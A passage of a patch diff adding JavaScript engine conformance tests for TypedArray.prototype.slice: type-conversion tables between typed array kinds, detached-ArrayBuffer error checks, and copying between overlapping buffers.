+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Int16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Uint16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Int32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Uint32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Float32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+ {
+ from: Uint8ClampedArray,
+ to: Float64Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255],
+ },
+
+ /* Int16Array */
+ {
+ from: Int16Array,
+ to: Int8Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [-1, 0, 1, 127, -128, -127, -1, 0, 1, 127, -128, -127, -1, 0, 1],
+ },
+ {
+ from: Int16Array,
+ to: Uint8Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [255, 0, 1, 127, 128, 129, 255, 0, 1, 127, 128, 129, 255, 0, 1],
+ },
+ {
+ from: Int16Array,
+ to: Uint8ClampedArray,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [255, 0, 0, 0, 0, 0, 0, 0, 1, 127, 128, 129, 255, 0, 0],
+ },
+ {
+ from: Int16Array,
+ to: Int16Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [32767, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, -32768, -32767],
+ },
+ {
+ from: Int16Array,
+ to: Uint16Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [32767, 32768, 32769, 65407, 65408, 65409, 65535, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ },
+ {
+ from: Int16Array,
+ to: Int32Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [32767, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, -32768, -32767],
+ },
+ {
+ from: Int16Array,
+ to: Uint32Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [32767, 4294934528, 4294934529, 4294967167, 4294967168, 4294967169, 4294967295, 0, 1, 127, 128, 129, 32767, 4294934528, 4294934529],
+ },
+ {
+ from: Int16Array,
+ to: Float32Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [32767, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, -32768, -32767],
+ },
+ {
+ from: Int16Array,
+ to: Float64Array,
+ values: [-32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769],
+ expected: [32767, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, -32768, -32767],
+ },
+
+ /* Uint16Array */
+ {
+ from: Uint16Array,
+ to: Int8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, -128, -127, -2, -1, 0, -1, 0, 1, -2, -1, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Uint8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0, 255, 0, 1, 254, 255, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Uint8ClampedArray,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255, 255, 255, 255, 255, 255, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Int16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, -32768, -32767, -2, -1, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Uint16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Int32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Uint32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Float32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 0],
+ },
+ {
+ from: Uint16Array,
+ to: Float64Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 0],
+ },
+
+ /* Int32Array */
+ {
+ from: Int32Array,
+ to: Int8Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [-1, 0, 1, -1, 0, 1, 127, -128, -127, -1, 0, 1, 127, -128, -127, -1, 0, 1, -1, 0, 1],
+ },
+ {
+ from: Int32Array,
+ to: Uint8Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [255, 0, 1, 255, 0, 1, 127, 128, 129, 255, 0, 1, 127, 128, 129, 255, 0, 1, 255, 0, 1],
+ },
+ {
+ from: Int32Array,
+ to: Uint8ClampedArray,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 127, 128, 129, 255, 255, 255, 255, 0, 0],
+ },
+ {
+ from: Int32Array,
+ to: Int16Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [-1, 0, 1, 32767, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, -32768, -32767, -1, 0, 1],
+ },
+ {
+ from: Int32Array,
+ to: Uint16Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [65535, 0, 1, 32767, 32768, 32769, 65407, 65408, 65409, 65535, 0, 1, 127, 128, 129, 32767, 32768, 32769, 65535, 0, 1],
+ },
+ {
+ from: Int32Array,
+ to: Int32Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [2147483647, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, -2147483648, -2147483647],
+ },
+ {
+ from: Int32Array,
+ to: Uint32Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [2147483647, 2147483648, 2147483649, 4294934527, 4294934528, 4294934529, 4294967167, 4294967168, 4294967169, 4294967295, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ },
+ {
+ from: Int32Array,
+ to: Float32Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [2147483648, -2147483648, -2147483648, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483648, -2147483648, -2147483648],
+ },
+ {
+ from: Int32Array,
+ to: Float64Array,
+ values: [-2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649],
+ expected: [2147483647, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, 0, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, -2147483648, -2147483647],
+ },
+
+ /* Uint32Array */
+ {
+ from: Uint32Array,
+ to: Int8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, -128, -127, -2, -1, 0, -1, 0, 1, -2, -1, 0, -1, 0, 1, -2, -1, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Uint8Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 0, 255, 0, 1, 254, 255, 0, 255, 0, 1, 254, 255, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Uint8ClampedArray,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Int16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, -32768, -32767, -2, -1, 0, -1, 0, 1, -2, -1, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Uint16Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 0, 65535, 0, 1, 65534, 65535, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Int32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, -2147483648, -2147483647, -2, -1, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Uint32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Float32Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483648, 2147483648, 2147483648, 4294967296, 4294967296, 0],
+ },
+ {
+ from: Uint32Array,
+ to: Float64Array,
+ values: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 4294967296],
+ expected: [0, 1, 127, 128, 129, 254, 255, 256, 32767, 32768, 32769, 65534, 65535, 65536, 2147483647, 2147483648, 2147483649, 4294967294, 4294967295, 0],
+ },
+
+ /* Float32Array */
+ {
+ from: Float32Array,
+ to: Int8Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 0, 0, 0, -1, 0, 1, 127, -128, -127, -1, -1, -1, -1, 0, 0, 1, 1, 1, 1, 127, -128, -127, -1, 0, 1, 0, 0, 0, 0, 0],
+ },
+ {
+ from: Float32Array,
+ to: Uint8Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 0, 0, 0, 255, 0, 1, 127, 128, 129, 255, 255, 255, 255, 0, 0, 1, 1, 1, 1, 127, 128, 129, 255, 0, 1, 0, 0, 0, 0, 0],
+ },
+ {
+ from: Float32Array,
+ to: Uint8ClampedArray,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 2, 2, 127, 128, 129, 255, 255, 255, 255, 255, 255, 255, 0],
+ },
+ {
+ from: Float32Array,
+ to: Int16Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 0, 0, 0, 32767, -32768, -32767, -129, -128, -127, -1, -1, -1, -1, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, -32768, -32767, 0, 0, 0, 0, 0],
+ },
+ {
+ from: Float32Array,
+ to: Uint16Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 0, 0, 0, 32767, 32768, 32769, 65407, 65408, 65409, 65535, 65535, 65535, 65535, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, 32768, 32769, 0, 0, 0, 0, 0],
+ },
+ {
+ from: Float32Array,
+ to: Int32Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, -2147483648, -2147483648, -2147483648, -32769, -32768, -32767, -129, -128, -127, -1, -1, -1, -1, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, 32768, 32769, -2147483648, -2147483648, -2147483648, 0, 0],
+ },
+ {
+ from: Float32Array,
+ to: Uint32Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 2147483648, 2147483648, 2147483648, 4294934527, 4294934528, 4294934529, 4294967167, 4294967168, 4294967169, 4294967295, 4294967295, 4294967295, 4294967295, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, 32768, 32769, 2147483648, 2147483648, 2147483648, 0, 0],
+ },
+ {
+ from: Float32Array,
+ to: Float32Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [-Infinity, -2147483648, -2147483648, -2147483648, -32769, -32768, -32767, -129, -128, -127, -1.600000023841858, -1.5, -1.399999976158142, -1, -0, 0, 1, 1.399999976158142, 1.5, 1.600000023841858, 127, 128, 129, 32767, 32768, 32769, 2147483648, 2147483648, 2147483648, Infinity, NaN],
+ },
+ {
+ from: Float32Array,
+ to: Float64Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [-Infinity, -2147483648, -2147483648, -2147483648, -32769, -32768, -32767, -129, -128, -127, -1.600000023841858, -1.5, -1.399999976158142, -1, -0, 0, 1, 1.399999976158142, 1.5, 1.600000023841858, 127, 128, 129, 32767, 32768, 32769, 2147483648, 2147483648, 2147483648, Infinity, NaN],
+ },
+
+ /* Float64Array */
+ {
+ from: Float64Array,
+ to: Int8Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, -1, 0, 1, -1, 0, 1, 127, -128, -127, -1, -1, -1, -1, 0, 0, 1, 1, 1, 1, 127, -128, -127, -1, 0, 1, -1, 0, 1, 0, 0],
+ },
+ {
+ from: Float64Array,
+ to: Uint8Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 255, 0, 1, 255, 0, 1, 127, 128, 129, 255, 255, 255, 255, 0, 0, 1, 1, 1, 1, 127, 128, 129, 255, 0, 1, 255, 0, 1, 0, 0],
+ },
+ {
+ from: Float64Array,
+ to: Uint8ClampedArray,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 2, 2, 127, 128, 129, 255, 255, 255, 255, 255, 255, 255, 0],
+ },
+ {
+ from: Float64Array,
+ to: Int16Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, -1, 0, 1, 32767, -32768, -32767, -129, -128, -127, -1, -1, -1, -1, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, -32768, -32767, -1, 0, 1, 0, 0],
+ },
+ {
+ from: Float64Array,
+ to: Uint16Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 65535, 0, 1, 32767, 32768, 32769, 65407, 65408, 65409, 65535, 65535, 65535, 65535, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, 32768, 32769, 65535, 0, 1, 0, 0],
+ },
+ {
+ from: Float64Array,
+ to: Int32Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 2147483647, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1, -1, -1, -1, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, -2147483648, -2147483647, 0, 0],
+ },
+ {
+ from: Float64Array,
+ to: Uint32Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [0, 2147483647, 2147483648, 2147483649, 4294934527, 4294934528, 4294934529, 4294967167, 4294967168, 4294967169, 4294967295, 4294967295, 4294967295, 4294967295, 0, 0, 1, 1, 1, 1, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, 0, 0],
+ },
+ {
+ from: Float64Array,
+ to: Float32Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [-Infinity, -2147483648, -2147483648, -2147483648, -32769, -32768, -32767, -129, -128, -127, -1.600000023841858, -1.5, -1.399999976158142, -1, -0, 0, 1, 1.399999976158142, 1.5, 1.600000023841858, 127, 128, 129, 32767, 32768, 32769, 2147483648, 2147483648, 2147483648, Infinity, NaN],
+ },
+ {
+ from: Float64Array,
+ to: Float64Array,
+ values: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ expected: [-Infinity, -2147483649, -2147483648, -2147483647, -32769, -32768, -32767, -129, -128, -127, -1.6, -1.5, -1.4, -1, -0, 0, 1, 1.4, 1.5, 1.6, 127, 128, 129, 32767, 32768, 32769, 2147483647, 2147483648, 2147483649, Infinity, NaN],
+ },
+];
+
+for (let {from, to, values, expected} of tests) {
+ let ta = new from(values);
+ ta.constructor = to;
+ assertEqArray(ta.slice(0), expected, `${from.name} -> ${to.name}`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/slice-detached.js b/js/src/tests/non262/TypedArray/slice-detached.js
new file mode 100644
index 0000000000..be16653154
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/slice-detached.js
@@ -0,0 +1,103 @@
+// Tests for detached ArrayBuffer checks in %TypedArray%.prototype.slice ( start, end ).
+
+function* createTypedArrays(lengths = [0, 1, 4, 4096]) {
+ // Test with eagerly created ArrayBuffer.
+ for (let length of lengths) {
+ let buffer = new ArrayBuffer(length * Int32Array.BYTES_PER_ELEMENT);
+ let typedArray = new Int32Array(buffer);
+
+ yield {typedArray, length, buffer() { return buffer; }};
+ }
+
+ // Test with lazily created ArrayBuffer.
+ for (let length of lengths) {
+ let typedArray = new Int32Array(length);
+
+ yield {typedArray, length, buffer() { return typedArray.buffer; }};
+ }
+}
+
+if (typeof detachArrayBuffer === "function") {
+ // ArrayBuffer is detached when entering slice().
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ detachArrayBuffer(buffer());
+ assertThrowsInstanceOf(() => {
+ typedArray.slice(0);
+ }, TypeError, "ArrayBuffer is detached on function entry");
+ }
+
+ // ArrayBuffer is detached when computing ToInteger(start).
+ for (let {typedArray, length, buffer} of createTypedArrays()) {
+ let detached = false;
+ let start = {
+ valueOf() {
+ assertEq(detached, false);
+ detachArrayBuffer(buffer());
+ assertEq(detached, false);
+ detached = true;
+ return 0;
+ }
+ };
+
+ // Doesn't throw an error when no bytes are copied.
+ if (length === 0) {
+ typedArray.slice(start);
+ } else {
+ assertThrowsInstanceOf(() => {
+ typedArray.slice(start);
+ }, TypeError, "ArrayBuffer is detached in ToInteger(start)");
+ }
+ assertEq(detached, true, "detachArrayBuffer was called");
+ }
+
+ // ArrayBuffer is detached when computing ToInteger(end).
+ for (let {typedArray, length, buffer} of createTypedArrays()) {
+ let detached = false;
+ let end = {
+ valueOf() {
+ assertEq(detached, false);
+ detachArrayBuffer(buffer());
+ assertEq(detached, false);
+ detached = true;
+ return length;
+ }
+ };
+
+ // Doesn't throw an error when no bytes are copied.
+ if (length === 0) {
+ typedArray.slice(0, end);
+ } else {
+ assertThrowsInstanceOf(() => {
+ typedArray.slice(0, end);
+ }, TypeError, "ArrayBuffer is detached in ToInteger(end)");
+ }
+ assertEq(detached, true, "detachArrayBuffer was called");
+ }
+
+ // ArrayBuffer is detached in species constructor.
+ for (let {typedArray, length, buffer} of createTypedArrays()) {
+ let detached = false;
+ typedArray.constructor = {
+ [Symbol.species]: function(...args) {
+ assertEq(detached, false);
+ detachArrayBuffer(buffer());
+ assertEq(detached, false);
+ detached = true;
+ return new Int32Array(...args);
+ }
+ };
+
+ // Doesn't throw an error when no bytes are copied.
+ if (length === 0) {
+ typedArray.slice(0);
+ } else {
+ assertThrowsInstanceOf(() => {
+ typedArray.slice(0);
+ }, TypeError, "ArrayBuffer is detached in TypedArraySpeciesCreate(...)");
+ }
+ assertEq(detached, true, "detachArrayBuffer was called");
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/slice-memcpy.js b/js/src/tests/non262/TypedArray/slice-memcpy.js
new file mode 100644
index 0000000000..a20010ed16
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/slice-memcpy.js
@@ -0,0 +1,84 @@
+const otherGlobal = newGlobal();
+
+// Create with new ArrayBuffer and offset.
+for (var constructor of typedArrayConstructors) {
+ const elementSize = constructor.BYTES_PER_ELEMENT;
+ let ab = new constructor(10).map((v, i) => i).buffer;
+ let ta = new constructor(ab, 2 * elementSize, 6);
+ ta.constructor = {
+ [Symbol.species]: function(len) {
+ return new constructor(new ArrayBuffer((len + 4) * elementSize), 4 * elementSize);
+ }
+ };
+ let tb = ta.slice(0);
+
+ assertEqArray(ta, [2, 3, 4, 5, 6, 7]);
+ assertEqArray(tb, [2, 3, 4, 5, 6, 7]);
+}
+
+// Source and target arrays use the same ArrayBuffer, target range before source range.
+for (var constructor of typedArrayConstructors) {
+ const elementSize = constructor.BYTES_PER_ELEMENT;
+ let ab = new constructor(10).map((v, i) => i).buffer;
+ let ta = new constructor(ab, 2 * elementSize, 6);
+ ta.constructor = {
+ [Symbol.species]: function(len) {
+ return new constructor(ab, 0, len);
+ }
+ };
+ let tb = ta.slice(0);
+
+ assertEqArray(ta, [4, 5, 6, 7, 6, 7]);
+ assertEqArray(tb, [2, 3, 4, 5, 6, 7]);
+ assertEqArray(new constructor(ab), [2, 3, 4, 5, 6, 7, 6, 7, 8, 9]);
+}
+
+// Source and target arrays use the same ArrayBuffer, target range after source range.
+for (var constructor of typedArrayConstructors) {
+ const elementSize = constructor.BYTES_PER_ELEMENT;
+ let ab = new constructor(10).map((v, i) => i + 1).buffer;
+ let ta = new constructor(ab, 0, 6);
+ ta.constructor = {
+ [Symbol.species]: function(len) {
+ return new constructor(ab, 2 * elementSize, len);
+ }
+ };
+ let tb = ta.slice(0);
+
+ assertEqArray(ta, [1, 2, 1, 2, 1, 2]);
+ assertEqArray(tb, [1, 2, 1, 2, 1, 2]);
+ assertEqArray(new constructor(ab), [1, 2, 1, 2, 1, 2, 1, 2, 9, 10]);
+}
+
+// Tricky: Same as above, but with SharedArrayBuffer and different compartments.
+if (this.setSharedObject && this.SharedArrayBuffer) {
+ for (var constructor of typedArrayConstructors) {
